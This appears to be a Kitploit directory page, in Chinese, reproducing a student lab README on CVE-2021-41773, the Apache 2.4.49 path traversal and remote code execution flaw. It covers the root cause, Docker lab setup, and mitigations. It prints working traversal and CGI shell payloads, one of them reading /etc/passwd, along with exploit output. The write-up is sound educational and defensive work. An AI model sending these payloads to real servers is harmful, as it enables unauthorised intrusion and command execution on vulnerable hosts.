Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
APACHE-PATH-TRAVERSAL-RCE-CVE-2021-41773- — 对CVE-2021-41773(Apache HTTP Server 2.4.49)的全面分析,涵盖漏洞研究、可控实验室环境下的利用、概念验证开发、根因分析以及用于教育和防御安全目的的缓解策略。 | Kitploit
工具/GitHubGitHub/abds059/apache-path-traversal-rce-cve-2021-41773-
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubabds059/apache-path-traversal-rce-cve-2021-41773-

APACHE-PATH-TRAVERSAL-RCE-CVE-2021-41773-

对CVE-2021-41773(Apache HTTP Server 2.4.49)的全面分析,涵盖漏洞研究、可控实验室环境下的利用、概念验证开发、根因分析以及用于教育和防御安全目的的缓解策略。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
96个月前尚未审核
分享

CVE-2021-41773 — Apache HTTP 服务器 2.4.49 路径遍历 / 远程代码执行

Apache CVE CVSS Python Docker Lab Only

教育研究项目。 所有测试均在隔离的 Docker 实验室中进行。请勿用于您并不拥有的任何系统。


漏洞总结

字段详情
CVE 编号CVE-2021-41773
受影响软件仅 Apache HTTP 服务器 2.4.49
漏洞类型路径遍历 → 远程代码执行
CVSS 评分9.8(严重)
披露日期2021年10月
修复版本Apache 2.4.51

根本原因

Apache 2.4.49 在应用访问控制规则之前,未能正确规范化 URL 编码的路径序列(%2e%2e)。这使得攻击者能够遍历到 Web 根目录之外。当 CGI 启用时,将遍历路径指向 /bin/sh 并通过 POST 请求体提供 Shell 命令,可导致未经身份验证的远程代码执行。


仓库内容

cve-2021-41773-poc/
├── Dockerfile      # 故意存在漏洞的 Apache 2.4.49 实验容器
├── exploit.py      # Python PoC — 使用原始套接字保留 %2e 编码
├── SETUP.md        # 逐步实验设置指南
├── README.md       # 本文件
└── report.pdf      # 完整漏洞利用开发报告

快速开始

1. 构建并运行存在漏洞的容器

docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449

2. 运行利用脚本

python3 exploit.py

3. 预期输出

==================================================
 CVE-2021-41773 PoC — 仅供实验室使用
==================================================
[+] 目标可达 — HTTP 200

[*] 路径遍历 — 读取 /etc/passwd
[*] 状态: 403
[-] 被阻止 (403) — 服务器限制生效

[*] RCE — 执行: id
[*] 状态: 200
[+] 输出:
uid=1(daemon) gid=1(daemon) groups=1(daemon)

[*] RCE — 执行: whoami
[*] 状态: 200
[+] 输出:
daemon

[*] RCE — 执行: hostname
[*] 状态: 200
[+] 输出:
e4ccca07bee7

参见 SETUP.md 获取完整设置说明和故障排除。


漏洞利用原理

requests 库在发送前会将 %2e 规范化为 .,这会破坏利用(返回 400)。本 PoC 使用 原始套接字 逐字节发送 HTTP 请求,精确保留编码后的遍历序列,正如 Apache 2.4.49 需要接收的那样。

遍历载荷:

GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1

RCE 载荷:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id

Apache 在 ACL 检查前未能解码 %2e%2e,处理了请求,将其路由到 CGI,并将 POST 请求体作为 Shell 命令执行。


缓解措施

  • 升级 Apache 到 2.4.51 或更高版本
  • 禁用 CGI 除非严格必要
  • 切勿在 / 上使用 Require all granted
  • 版本发布后及时应用安全补丁

参考资料

  • CVE-2021-41773 — MITRE
  • Apache 安全公告
  • ExploitDB #50383
  • Rapid7 分析
  • PayloadsAllTheThings

作者

Abdur Rehman Siddiqui
漏洞利用开发 — 任务 3


本仓库仅用于 教育目的。作者不对任何滥用此材料的行为负责。

下载工具